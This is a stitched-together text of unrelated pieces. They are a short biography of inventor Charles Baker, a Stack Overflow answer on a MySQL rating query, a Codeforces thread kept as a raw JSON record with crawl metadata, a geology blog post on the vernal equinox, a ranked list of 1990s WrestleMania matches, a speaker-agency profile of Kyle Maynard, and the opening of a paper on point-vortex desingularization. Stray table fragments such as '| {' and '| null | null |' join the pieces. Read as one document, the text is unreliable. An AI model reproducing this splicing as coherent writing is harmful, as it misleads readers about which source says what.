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Charles S. Lewis Baker (1859–1926) was an American inventor, who patented the friction heater.
Biography
Early life
Baker was born into slavery on August 3, 1859, in Savannah, Missouri. His mother, Betsy Mackay, died when he was three months old, leaving him to be brought up by the wife of his owner, Sallie Mackay, and his father, Abraham Baker. He was the youngest of five children, Susie, Peter, Annie, and Ellen, all of whom were freed after the Civil War. Baker later received an education at Franklin College. His father was employed as an express agent, and once Baker turned fifteen, he became his assistant. Baker worked with wagons and linchpins, which sparked an interest in mechanical sciences.
Invention
Baker worked over the span of decades on his product, attempting several different forms of friction, including rubbing two bricks together mechanically, as well as using various types of metals. After twenty-three years, the invention was perfected in the form of two metal cylinders, one inside of the other, with a spinning core in the center made of wood, that produced the friction. Baker started a business with several other men to manufacture the heater. The Friction Heat & Boiler Company was established in 1904, in St. Joseph, with Baker on the board of directors. The company worked up to $136,000 in capital, equal to nearly $4 million in 2018.
Death
Baker died of pneumonia on May 5, 1926, in St. Joseph, Missouri.
Personal life
At 21, Baker married 19-year-old Carrie Carriger on December 12, 1880, in Adams County, Iowa. They had one child, born on January 3, 1882, named Lulu Belle Baker.
See also
Garrett Morgan
Elijah McCoy
Granville Woods
References
1859 births
1926 deaths
African-American inventors
19th-century American inventors
People from Missouri
People from St. Louis
Heating, ventilation, and air conditioning
20th-century African-American people
Inventors from Missouri | {
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Q: Calculations in mysql statement for rating I want order a selection of items by the rating. There are 2 fields: rateup and ratedown. I use these fields to calculate a number and order the selection on that number. Can that be done in mysql? I have a querylike this, but this doesn't work:
SELECT * FROM table ORDER BY (((9/rateup+ratedown)*rateup)+1) DESC
How can I make this work or is this impossible?
A: Select *, (((9/rateup+ratedown)*rateup)+1) As Ord from Table WHERE published = 1 Order By Ord Desc
added Where Clause as requested.
| {
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{"url":"https:\/\/codeforces.com\/blog\/entry\/69888","text":"### LittleFlowers__'s blog\n\nBy\u00a0LittleFlowers__, history, 5 weeks ago, ,\n\nStatement:\n\nGiven a tree of N nodes, every node i have a value A[i].\n\nYou have to find the maximum value you can get by picking a subtree (a subgraph of the tree which is also a tree) of exactly K nodes.\n\nConstrain : 1 <= K,N <= 1000\n\nThis can be solve in O(n^3) by a simple dp, but after spending time thinking, I couldnt find a better solution. Can anyone solve this in O(n^2) ?\n\nHelp is appreciated.\n\n\u2022 +17\n\n \u00bb 5 weeks ago, # | \u00a0 0 Perhaps I don't understand something about this problem, but why can't you just do two rounds of DFS?1st round cumulates the size of each node's subtree. 2nd round cumulates the total value of a subtree.Then do an O(n) for loop passing through each node, checking if its first round result = K, and then taking the maximum of those second round results.I don't think DP is needed. Are you sure you understood the problem correctly? ;}\n\u2022 \u00bb \u00bb 5 weeks ago, # ^ | \u00a0 0 Tree is not rooted, so connected component do not have root is DFS tree too.I think this is standard knapsack dp in $O(n^2)$: $dp_{i,j}$ \u2014 maximum result for node $i$, where $i$ is included in result and $j$ its children.Now it is standard knapsack over direct sons of node $i$, just iterate until size of each node, not $n$ and it will be good complexity.\n\u2022 \u00bb \u00bb \u00bb 5 weeks ago, # ^ | \u00a0 +21 Yup, it's $O(n^2)$. The code below will always print a number that doesn't exceed $n^2$ because every pair of vertices contributes to the number of operations at most once (when $v$ is their LCA). int operations = 0; for(int v : vertices) for(int child1 : children[v]) for(int child2 : children[v]) operations += size_of_subtree[child1] * size_of_subtree[child2]; cout << operations;\n\u2022 \u00bb \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 0 I am not sure how this is relevant to the time complexity analysis, can you elaborate?\n\u2022 \u00bb \u00bb \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 +8 To compute dp of a parent, we iterate over the number of vertices taken in child1 and child2.\n\u2022 \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u2190 Rev. 2 \u2192 \u00a0 0 I thought that we can take more than 2 children, right?\n\u2022 \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 +8 Merge them one by one\n\u2022 \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 0 Oh hm, this makes sense. Thanks a lot!\n\u2022 \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 -8 Can you please share your code Errichto\n\u2022 \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 0 Share your code first ;p You have thousands of problems with code in the Internet. Why do you need me to implement this one too?\n\u2022 \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 -8 Actually when I read the problem i thought it could be implemented with in-out dp but now the solution says O(n^2). I just wanted to know the right answer to this. Btw its 3 AM and you want me to code !!\n\u2022 \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 +9 Oh, I'm sorry I wanted you to code xdI don't know what in-out dp is, but you can implement n^3 solution and if will be n^2 if you iterate up to child subtree size only.\n\u2022 \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 0 I think it's still O(n^3) because you have to iterate the number of i's children also.\n\u2022 \u00bb \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 0 Why would you do that? You only care about the number of taken vertices and its value is up to size_of_subtree[child]\n\u2022 \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u2190 Rev. 2 \u2192 \u00a0 0 Do you mean dp[i][j] where j is the number of direct children of i or total number of vertices in subtree of i that we take?EDIT: got it, j should be the total number of vertices we take. Then it makes sense.\n\u2022 \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 -8 Can you please share your code allllekssssa\n\u2022 \u00bb \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 0\n\u2022 \u00bb \u00bb \u00bb 4 weeks ago, # ^ | \u00a0 -11 If so, you can modify my solution to loop over the n possible roots. That would be O(n) * O(n) = $O(n^2)$.","date":"2019-10-20 20:20:17","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.264496386051178, \"perplexity\": 1101.4331862668628}, \"config\": {\"markdown_headings\": true, \"markdown_code\": false, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986718918.77\/warc\/CC-MAIN-20191020183709-20191020211209-00226.warc.gz\"}"} | null | null |
Hudson Valley Geologist
Random thoughts and opinions of a community college geology professor living in the mid-Hudson Valley of New York State.
USGS M2.5+ Earthquakes
Stone Ridge Weather Forecast, NY
Current Solar Image
Blogs I follow...
• All Geo
• Bad Astronomy
• Confessions of a CC Dean
• Earth Science POD
• Northeast U.S. Weather
• Science Seeker
This post should appear at 7:21 pm EDT on March 20, 2011 - the exact time of the Vernal Equinox. What exactly is the Vernal Equinox?
The Earth is rotating on its axis (counterclockwise when viewed from above the North Pole or west-to-east as viewed from above the Equator). Each rotation takes 24 hours - a day. The axis is tilted, however, by 23.5°. Tilted with respect to what, you might ask? There is no "up" in space. Well the Earth is also revolving about the Sun. The time it takes to complete each orbit is roughly 365.25 days - a year. The plane of the Earth's rotation around the Sun is called the plane of the ecliptic. Perpendicular to that is up and down and the Earth's axis is tilted with respect to that perpendicular.
As the Earth rotates on its axis and revolves around the Sun, its axis is always pointing in the same direction in space. Right now, it happens to be pointed toward a star called Polaris (the North Star) in the constellation of Ursa Minor. Because the Earth's axis wobbles a bit, it hasn't always pointed in that same direction - it was different a few thousand years ago (the ancient Egyptians used the star Thuban in the constellation of Draco as a pole star) and will be different a few thousand years from now.
So, as planet Earth orbit the star that is our sun, its Northern and Southern Poles are sometimes tilted toward the Sun and somtimes tilted away from the Sun. Here in the Northern Hemisphere this year, we're tilted the most toward the Sun on June 21 - the Summer Solstice - and tilted the most away from the Sun on December 22 (Eastern time) - the Winter Solstice. The equinoxes are the points between the solstices on March 20 (Vernal or Spring Equinox) and September 23 (Autumnal or Fall Equinox) when we're neither pointed toward nor away from the Sun.
From our perspective here on Earth, we see the Sun rise in the east, move across the sky, and set in the west. At my latitude (42° N), around the time of the Winter Solstice, when we're tilted away from the Sun, it rises in the southeast (about 32° south of east), doesn't get very high in the sky (it barely makes it to 25° above the horizon), and sets in the southwest (about 32° south of west). On the Summer Solstice, on the other hand, the Sun rises in the northeast (about 32° north of east), gets up to around 71° (at my latitude, the Sun never gets up to 90° or the zenith) above the horizon, and sets in the northwest (about 32° north of west). Today, and on the Autumnal Equinox is September, the Sun rises in the due east, gets up to about 48° above the horizon, and sets in the due west.
Again, at my latitude, on the Summer Solstice, since we're tilted towards the Sun, the sunlight can wrap more than halfway around the Earth and days are around 15 hours long, on the Winter Solstice, since we're titlted away from the Sun, the sunlight can't even make it halfway around the Earth and days are only 9 hours long. Today, on the Equinox, the Sun wraps halfway around the Earth and days are 12 hours long (sunrise is around 7 am and sunset around 7 pm EDT).
For winter's rains and ruins are over,
And all the season of snows and sins;
The days dividing lover and lover,
The light that loses, the night that wins;
And time remembered is grief forgotten,
And frosts are slain and flowers begotten,
And in green underwood and cover
Blossom by blossom the spring begins.
Atalanta in Calydon
Algernon Charles Swinburne (1837-1909)
Posted by Steven Schimmrich at 7:21 PM
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16th Jun2020
Ten Best: WWE Wrestlemania Matches of the 90s
by Chris Cummings
So during this whole awful quarantine situation I've found myself watching even more wrestling than before. In the midst of all that wrestling has been my revisiting of lots (and lots) of 90s WWE stuff. I started watching pro-wrestling in 1992 with WrestleMania 8 and so I have many delightful wrestling memories of the 90s, from the early cartoon-era stuff that also featured some of the best ever like Bret Hart and Randy Savage to the beloved and creatively incredible Attitude Era. I thought, then, that it would be neat to bring a list to you guys of the ten best matches of the 90s that you should revisit during lockdown. The problem with that is the sheer amount of matches I'd have to go through, so I narrowed it down to WrestleMania matches, because those alone bring a ton of great classics to pick from. I mean, this, like all these lists, is an opinion. Wrestling, like with many things, can be very subjective, but I feel strongly that these ten matches are incredible and well worth going back to. What better time? Let's go.
10. The Steiner Brothers vs. The Headshrinkers – WrestleMania 9
Underrated. That's what this is. Simply under-bloody-rated. WrestleMania 9 was the worse WrestleMania to date when it aired. It was a stinker, packed with random matches that had no reason to be there (Backlund-Ramon), silly daft silly things (Crush-Doink), shameful moments (Hogan-Yokozuna) and just pure bad (Taker-Gonzales) but in the midst of these moments of pure horror was a match that stood out, because it was very good indeed. Sadly it didn't go as long as it could have, which could have led to this being a classic tag-match of the 90s, but this hard-hitting and entertaining scrap was unlike anything else on the show, and I still love it.
9. Hulk Hogan vs. The Ultimate Warrior – WrestleMania 6
I was never actually a Hogan fan as a kid, or a Warrior fan for that matter, but even I… a kid with a Randy Savage action figure in his hand, bellowing "DIG IT" in a high-pitched faux-gravel, couldn't help but be enchanted by the spectacle of "The Immortal" versus "The Ultimate". With both the WWF Title and the Intercontinental Title on the line, this one was all about the atmosphere, the crowd reactions, the signature spots and poses, and the iconic moments that are still replayed on WWE television today. Sure… the match itself wasn't a catch-as-catch-can classic, but it was one of the best matches that either man would have and remains one of those truly authentic moments of powerful nostalgia in the annals of wrestling's past. Now Hulk… pass the belt to Jim and leave please… this isn't your birthday.
8. Triple H vs. Owen Hart – WrestleMania 14
This one doesn't get enough love. WrestleMania 14 is a show that is full of spark and buzz, full of moments that are iconic (THE AUSTIN ERA… HAS BEGUN) but the match quality wasn't necessarily the best. I have very fond memories, though, of Triple H's clash with Owen Hart. This was during the underrated and under-utilized push for Owen as "The Black Hart" following the Montreal Screwjob a few months earlier. Fighting over the European Title, the two had a hard-hitting and entertaining match with outside interference done-well, and psychology galore. Sure… it wasn't the best match that either would have, but on a PPV that is so well-known for its importance to WWF, this, for my money, was the standout wrestling match.
7. Shawn Michaels vs. Razor Ramon – WrestleMania 10
Arguably (maybe not even arguably) the most famous ladder match of all time, HBK and "The Bad Guy" went all-out in this classic for the ages. On a show that had opened with one of the best WWF matches of the 90s (or ever, perhaps), it was astonishing to see another absolute barn-burner only a few matches later. Utilizing the ladder in unique ways, the two men would introduce this stipulation to WWF PPV. Prior to this, ladder bouts had only been seen on WWF house show tapings and not on main shows or PPV's. This was a great start for a gimmick match that is still going strong in 2020. Iconic, entertaining and incredibly influential.
6.The Ultimate Warrior vs. "Macho King" Randy Savage – WrestleMania 7
I mean, come on now. This is simply the best Ultimate Warrior match of all time, or at least side-by-side with Warriors SummerSlam 90 clash with "Ravishing" Rick Rude. Nah… this one is better. Savage, entering the match as a heel, fought valiantly against the crazed muscle-mountain until Warrior pulled off the victory and ran away in celebration. The match itself, with a retirement stipulation, was very entertaining, showing just how damn good Savage was with anybody, and Warrior's intensity brought the fans reactions to a vibrant level. After the match, though, is where the replays have been focused for the years since. With Sensational "Queen" Sherri angry that her fella has lost, and thus "retired" from the WWF, she goes on to beat on Savage with her high-heel shoe, yelling and cussing out the befallen King of the World Wrestling Federation. Enter Miss Elizabeth, Savage's former manager and real-life wifey, for the save. Dragging Sherri off Savage by her hair and tossing her out of the ring, Elizabeth and Randy went on to hug and reunite to a chorus of cheers and tears from the adoring crowd. An iconic moment in wrestling history, for sure. Ooh yeah.
5. Shawn Michaels vs. Bret "Hitman" Hart – WrestleMania 12
This may top the list for some people, though not really for me. But however you look at it, you can't deny that this was a really great wrestling match between two of the best of all time. For me, it has become a little less exciting to watch as time has gone on, but it's still full of wonderful spots, exciting moments and some awesome technical interactions. I wonder, truly, how good this could have been if they'd been friends and been able to do this in 1997 a second time, with more intention of trying to make each other look great. This is a classic though, and one I like to go back to from time to time.
4. "Rowdy" Roddy Piper vs. Bret "Hitman" Hart – WrestleMania 8
Hart and Piper had a damned good chemistry in the ring as opponents yet I don't recall seeing it happen all that much. It's a good job then that they collided in an absolute barn-burner on the "Grandest Stage of them All". This was a delightful match that saw two babyface workers put on a match full of back-and-forth psychology. Piper brawled and played the crowd, teetering on being the heel again, while Bret worked technically and brought out the sympathy from the crowd. It was expertly done and the finish, which we've seen copied and pasted a hundred and two times since, was played out excellently. A classy and classic Mania match.
3. Bret "Hitman" Hart vs. Owen Hart – WrestleMania 10
The single best opening match in WrestleMania history, without doubt. The brothers Hart but on a spectacle of technical wrestling with some marvelous chain-wrestling, some cool submission stuff and a great psychology of heel versus babyface. Owen was such a great cowardly and whiny heel, and Bret was a fantastic babyface hero. I adore this match and it remains one of my absolute favourite pro-wrestling bouts ever.
2. "Macho Man" Randy Savage vs. Ric Flair – WrestleMania 8
Now, this may be a little high in some people's minds, but for me it really isn't. This was one of the first wrestling matches I ever saw and is perhaps to blame for my 28 year long love for wrestling. Randy Savage is one of my all-time favourites, perhaps at the very top of that list, and this match really showed off how good he was. His selling here is a masterclass and Flair is the perfect conniving and sniveling heel. This should really have closed the show. It had a heartwarming finish, the match itself is bloody amazing, and the fans ate it all up. I love this one, and I'm not quite sure why it isn't mentioned more.
1. "Stone Cold" Steve Austin vs. Bret "Hitman" Hart – WrestleMania 13
I mean, was there ever any doubt? This is one of those matches that I've seen more than most others and never get bored of watching it. Perfect storytelling between two of the best ever. This submission match was THE best thing on a sub-par WrestleMania show, and made the whole event worth watching. It featured a famous "double-turn" with Hart beginning his heel turn and Austin becoming that tweener babyface that led him to the most explosive and successful run of all time. The match though… it is beautiful. Violent and technical with hard-hitting brawling and excellent psychology. This truly is a match where you see both men at their very best. If you watch any match from WrestleMania in the 90s, make it this one.
So there you have it, ten of the best WrestleMania matches of the 1990s. There are plenty more great matches of this decade, obviously, but hey… I had to make a decision, okay? What are your favourite WrestleMania bouts of the 1990s?
Category : Fun Stuff
Tags : Ten Best, Top 10, Wrestlemania, WWE
Nerdly » Ten Best: WrestleMania Matches of the 1980's says:
[…] my list of the Ten Best WrestleMania Matches of the 1990s, I was sent down a rabbit-hole of watching every WrestleMania again and figured it might be cool to […] | {
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Kyle Maynard
Kyle Maynard: Promotion Pack
Quadruple amputee sports star & record-breaking climber – Author of "No Excuses!"
Speaker Agency - Promotivate - Speaker - Kyle Maynard
Adventurers & Explorers Diversity & Inclusion Globally Recognised High Performance Inspiring Youth Medical & Healthcare Innovation Motivation Risk & Resilience Sport & Adventure
Quadruple amputee sports star and record –breaking mountaineer.
Two-time Espy Award winner.
The best-selling author of "No Excuses."
Philanthropist with a focus on the challenges faced by ex-servicemen.
Physically challenged Kyle Maynard has not let his disability rule his life. Rather, he has embraced it and used it to set challenges most able-bodied people would baulk at. The 2-time Espy Award winner, record-breaking mountaineer and sports star with his 'no excuses' attitude, provides insight into the qualities needed to overcome your personal challenges and succeed.
Kyle's first challenge was presented by his father, a military veteran, who challenged his son to eat unaided at the age of eighteen months. By age ten Kyle was a regular on the football field, and by the age of 12 years, started wrestling.
Kyle's lifetime guiding principle has been encapsulated in his bestseller, "No Excuses". It is a testament to a young man that has accepted what most would deem insurmountable challenges and overcome them. The best-selling author and world class athlete has never allowed his physical challenges to interfere with him realizing his dreams.
"Every person on the planet has a disability – not just those we can see. And we all choose whether we allow our lives to be defined by them or not." – Kyle Maynard
It is this mindset that saw Kyle rack up 36 wrestling victories during his senior high school year, where he also earned the GNC title of World's Strongest Teen after managing to bench press 23 repetitions of 240 pounds. Since 2009, Kyle has competed in Mixed Martial Arts and is both the founder and owner of No Excuses Crossfit gym.
In 2012, Kyle set himself another challenge – to climb Mt Kilimanjaro, the highest mountain in Africa, without the aid of any prosthetics. He was the first quadruple amputee to do so. This event received wide coverage by the press. He managed to raise money and awareness for wounded veterans and Tanzanian school children with disabilities. It also won Kyle his second ESPY (Excellence in Sports Performance Yearly) Award – for Best Male Athlete with a Disability.
Four years later saw him reach the summit of Argentina's Mount Aconcagua, the highest peak in both the Southern and Western hemispheres. This feat saw Nike feature Kyle in their commercial "Unlimited Will", a commercial that was featured on a global scale during the 2016 Olympics.
Amongst his sports accomplishments, Kyle counts champion wrestler, MMA/Brazilian Jiu-Jitsu fighter, weight lifting record setter, and mountaineer. He is also no stranger to the television spotlight, and has not only appeared in the television features highlighting his climbing successes, but featured on Larry King Live, Good Morning America, 20/20, and The Oprah Winfrey Show, amongst others.
Kyle is also a philanthropist and serves on a number of boards and foundations, e.g. the K2 Adventure Foundation, The Travis Manion Foundation, The U.S. Special Forces The Honor Foundation, and the Juvenile Diabetes Research Foundation, to name but a few. Additionally, Kyle serves as an ambassador of No Barriers USA, Rhe USO, and The Wounded Warrior Project.
Kyle Maynard – Speaker
As a motivational speaker, Kyle tailors his talks to fit his audience's needs and has shared a stage with some of the world's greatest minds, including leaders in sports, business, and innovation. He has, in his capacity as a speaker, worked with a number of Fortune 100 companies, e.g. Microsoft, Wells Fargo, Nationwide, Merril Lynch, Pfizer, and Bank of America.
"Know your limits, but never stop trying to break them." – Kyle Maynard
Keynote Speaking Topics
Using his 'no excuses' philosophy to overcome self-imposed limitations
"Kyle's message of perseverance and strength was impactful. Everyone in the room – from age 6 to 60 – left with tremendous take-home value. As the event planner, I appreciated the efforts of Kyle and his tea, to understand our group. Kyle was gracious and approachable and I am sure he connected with everyone in attendance."
Ryan Wilkerson, Chapter Chair of Kansas City Young Presidents Organization
Kyle Maynard "Kyle's message of perseverance and strength was impactful. Everyone in the room – from age 6 to 60 – left with tremendous take-home value. As the event planner, I appreciated the efforts of Kyle and his tea, to understand our group. Kyle was gracious and approachable and I am sure he connected with everyone in attendance." Ryan Wilkerson, Chapter Chair of Kansas City Young Presidents Organization
"Simply put, Kyle was amazing. He was so inspirational, his storytelling was spot-on and he managed to connect with everyone of all ages equally. Our partners couldn't have been happier with the outcome!"
Anup Swamy, VP Consumer Marketing, Sports Illustrated
Kyle Maynard "Simply put, Kyle was amazing. He was so inspirational, his storytelling was spot-on and he managed to connect with everyone of all ages equally. Our partners couldn't have been happier with the outcome!"Anup Swamy, VP Consumer Marketing, Sports Illustrated
Chris Sharma
Rock climbing expert and visionary who popularised the rock climbing discipline psicobloc
Swam The World's 7 Toughest Oceans : Setting Goals & Realising Ambition
Tim Peake
British's Most Recognised Astronaut and Inspirational Role Model
Bonita Norris
British World Class Climber, Brand Ambassador & Motivational Speaker
Robby Kojetin
From life in a wheel chair to the summit of Mount Everest & much more
Catherine Destivelle
France's World's Greatest Female Climber & Inspirational Speaker on Success
Extreme adventurer, television presenter, and author
Cedric Dumont
Belgian pioneering wingsuit flyer, BASE jumper, and high-performance psychologist
Edurne Pasaban
First woman to climb 14 mountain peaks of over 8000 meters in height
Felicity Aston
World Record Breaking Explorer, Scientist, Author; Teamwork & Goal Setting
Mark Pollock
International Motivational, true Leadership, Adversity to Overcome Keynote Speaker
Kyle Maynard North America | {
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\section{Introduction}
The motion of an incompressible inviscid fluid in the plane is governed by the well-known two-dimensional Euler fluid dynamical equation. When the vorticity consists of a sum of $k$ point vortices, the motion is described by the point vortex model, a Hamiltonian dynamical system called the Kirchhoff-Routh equation with the Kirchhoff-Routh function as the Hamiltonian, see \cite{L} for a general discussion. A natural problem is the connection between the Euler equation and the vortex model. More specifically, we ask the following questions: suppose that at time zero the initial vorticity is sufficiently concentrated in $k$ small regions in some sense,
(a) does the evolved vorticity of the Euler equation remain concentrated?
(b) if so, does the concentration point satisfy the Kirchhoff-Routh equation?
The problem is called desingularization of point vortices. In this paper, we answer the above two questions in the case of bounded domains. We prove that, for initial vorticity supported in a sufficiently small region, then the time evolved vorticity is also supported in a sufficiently small region, and the center of the vorticity converges to the solution of the Kirchhoff-Routh equation uniformly in any finite time interval.
Several significant results have been obtained in this respect. The case for short time and $k$ vortices without sign condition was proved in \cite{MP1}; the case for any time and a single vortex in bounded domains was proved in \cite{T}; the case for any time and two vortices with opposite signs in bounded domains was proved in \cite{MPa}; the case for any time and $k$ vortices with the same signs was proved in \cite{MP2}; the case for any time and $k$ vortices without sign condition was proved in \cite{MP3}.
Our result and method are closely related to \cite{T} and \cite{MP3}. In \cite{T}, Turkington partially solved the desingularization problem. He proved that starting with a blob vorticity concentrating at some given point, then most part of the evolved vorticity remains concentrated, and the center of the vorticity converges to the solution of the Kirchhoff-Routh equation. But the concentration there is in the sense of distribution, and whether the support of the evolved vorticity shrinks to a point is unknown. In fact, the method used in \cite{T} is based on energy argument, which is too rough to be used to analyze the location of the support. In \cite{MP3}, Marchioro and Pulvirenti developed a new method to deal with this problem. Roughly speaking, they showed that, for a single blob of vorticity moving in an external force in all of $\mathbb{R}^2$, initially supported in a small region of diameter $\varepsilon$, the radial velocity that takes the fluid particles away from the center of the vorticity vanishes as $\varepsilon\rightarrow 0$, so the fluid particles on the support of the vorticity must be contained in a small disk with radius $d(\varepsilon)$, $d(\varepsilon)\rightarrow0$ as $\varepsilon\rightarrow0$, in any finite time interval. Based the same idea, Marchioro in \cite{M} improved the result in \cite{MP3} by giving a better estimate on the size of the support of the vorticity under a weaker assumption on the initial data.
In this paper, we improve the result in \cite{T}, showing that if the initial vorticity is supported in a sufficiently small region with diameter $\varepsilon$, then the time evolved vorticity is also supported in a small region, the diameter of which vanishes as $\varepsilon\rightarrow0$, and the center of the vorticity tends to a point, the motion of which is described by the Kirchhoff-Routh equation.
The basic idea to prove our result is mostly inspired by \cite{MP3}, where the motion of $k$ concentrated vortices in all $\mathbb{R}^2$ is considered. The idea is as follows. Firstly we introduce a regularized system, in which case the external force is smooth and bounded even if the support of the vorticity approaches the boundary. Then we repeat the argument in \cite{MP3}(or\cite{M}) for the regularized system, and find that the vorticity in the regularized system is supported in a sufficiently small disk, the center of which satisfies the Kirchhoff-Routh equation. But a single point vortex will never touch the boundary of the domain, so the support of the vorticity for the regularized system is away from the boundary if $\varepsilon$ is sufficiently small, in which case the vorticity of the regularized system coincides with the one of the Euler equation, which concludes the proof.
Our method of dealing with the boundary effect can also be used to study the evolution of $k$ vortices, which will be discussed briefly in Section 4..
\section{Main result}
Firstly we introduce some notations for later use.
Let $D\subset \mathbb R^2$ be a bounded domain with smooth boundary, and $G$ be the Green function for $-\Delta$ in $D$ with zero
Dirichlet boundary condition, which can be written as
\begin{equation}
G(x,y)=\Gamma(x,y)-h(x,y), \,\,\,x,y\in
D,
\end{equation}
where $\Gamma(x,y)=-\frac{1}{2\pi}\ln |x-y|$, $h(x,y)$ is the regular part of $G$. Also, we define the Kirchhoff-Routh function for $N=1$ to be
\begin{equation}
H(x)=\frac{1}{2}h(x,x), \,\,\,x\in
D.
\end{equation}
Throughout this paper, $B_r(x)$ denotes the open disk of center $x$ and radius $r$, $dist(\cdot,\cdot)$ denotes the distance of two points or sets, $D_\rho$ is an open subset of $D$ defined by $D_\rho\triangleq \{x\in D|dist(x,\partial D)>\rho\}$, $|A|$ denotes the Lebesgue measure for some measurable set $A\subset \mathbb{R}^2$, $supp f$ denotes the support of some function $f$, and $J(v_1,v_2)=(v_2,-v_1)$ denotes clockwise rotation through $\frac{\pi}{2}$ for any vector $(v_1,v_2)\in \mathbb{R}^2$.
Consider the motion of an ideal fluid in $D$, which is governed by the following Euler equation:
\begin{equation}\label{1}
\begin{cases}
\partial_t\mathbf{v}(x,t)+(\mathbf{v}\cdot\nabla)\mathbf{v}(x,t)=-\nabla P(x,t) \,\,\,\,\,\,\,\,\,\,\text{in $D\times(0,+\infty)$},\\
\nabla\cdot\mathbf{v}(x,t)=0 \,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\text{in $D\times(0,+\infty)$},\\
\mathbf{v}(x,0)=\mathbf{v}_0(x)\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\text{in $D$},
\\ \mathbf{v}(x,t)\cdot \vec{n}(x)=0 \,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\text{on $\partial D\times(0,+\infty)$},
\end{cases}
\end{equation}
where $\mathbf{v}=(v_1,v_2)$ is the velocity field, $P$ is the pressure, $\mathbf{v}_0$ is the initial velocity field and $\vec{n}$ is the outward unit normal of $\partial D$. Here we assume that the fluid density is one, and impose the impermeability boundary condition.
To give the vorticity form of \eqref{1}, we calculate formally in the following. By introducing the vorticity $\omega = \partial_1 v_2-\partial_2v_1$ and using the identity $\frac{1}{2}\nabla|\mathbf{v}|^2=(\mathbf{v}\cdot\nabla)\mathbf{v}+J\mathbf{v}\omega$,
the first equation of $\eqref{1}$ becomes
\begin{equation}\label{2}
\partial_t\mathbf{v}+\nabla(\frac{1}{2}|\mathbf{v}|^2+P)-J\mathbf{v}\omega=0.
\end{equation}
Taking the curl in $\eqref{2}$ we have
\begin{equation}\label{3}
\partial_t\omega(x,t)+(\mathbf{v}\cdot\nabla)\omega(x,t)=0 \,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\text{in $D\times(0,+\infty)$},
\end{equation}
which means that the vorticity moves along the trajectory of the fluid particle. \eqref{3} is a transport equation, the solution of which can be written as
\begin{equation}\label{21}
\omega(x,t)=\omega(\Phi_{-t}(x),0)
\end{equation}
where $\Phi_{t}(x)$ is the position of the fluid particle at time $t$ with initial position $x$, defined by
\begin{equation}\label{22}
\begin{cases}
\frac{d}{dt}\Phi_t(x)=\mathbf{v}(\Phi_t(x),t),
\\ \Phi_0(x)=x.
\end{cases}
\end{equation}
Since $\mathbf{v}$ is divergence-free and $\mathbf{v}\cdot \vec{n}=0$ on $\partial D$, $\mathbf{v}$ can be expressed in terms of $\omega$
\begin{equation}\label{23}
\mathbf{v}=J\nabla G\omega
\end{equation}
where $G\omega(x,t)=\int_DG(x,y)\omega(y,t)dy$. From \eqref{21},\eqref{22} and \eqref{23} we can define the weak solution to the Euler equation as follows.
\begin{definition} Let $\omega_0\in L^\infty(D)$. We call the map $t\rightarrow (\omega(\cdot,t),\mathbf{v}(\cdot,t),\Phi_t(\cdot))$ a weak solution of the Euler solution with initial vorticity $\omega_0$ if we have
\begin{equation}\label{101}
\omega\in L^\infty((0,+\infty),L^\infty(D)),\,\,\,\,\,\,\,\,\, \mathbf{v}=G\omega\in C([0,+\infty)\times D),
\end{equation}
\begin{equation}\label{102}
\omega(x,t)=\omega_0(\Phi_{-t}(x)),
\end{equation}
\begin{equation}\label{103}
\frac{d}{dt}{\Phi}_t(x)={\mathbf{v}}({\Phi}_t(x),t),\,\,\,\,\,\ {\Phi}_0(x)=x,\,\,\,\forall x\in D.
\end{equation}
\end{definition}
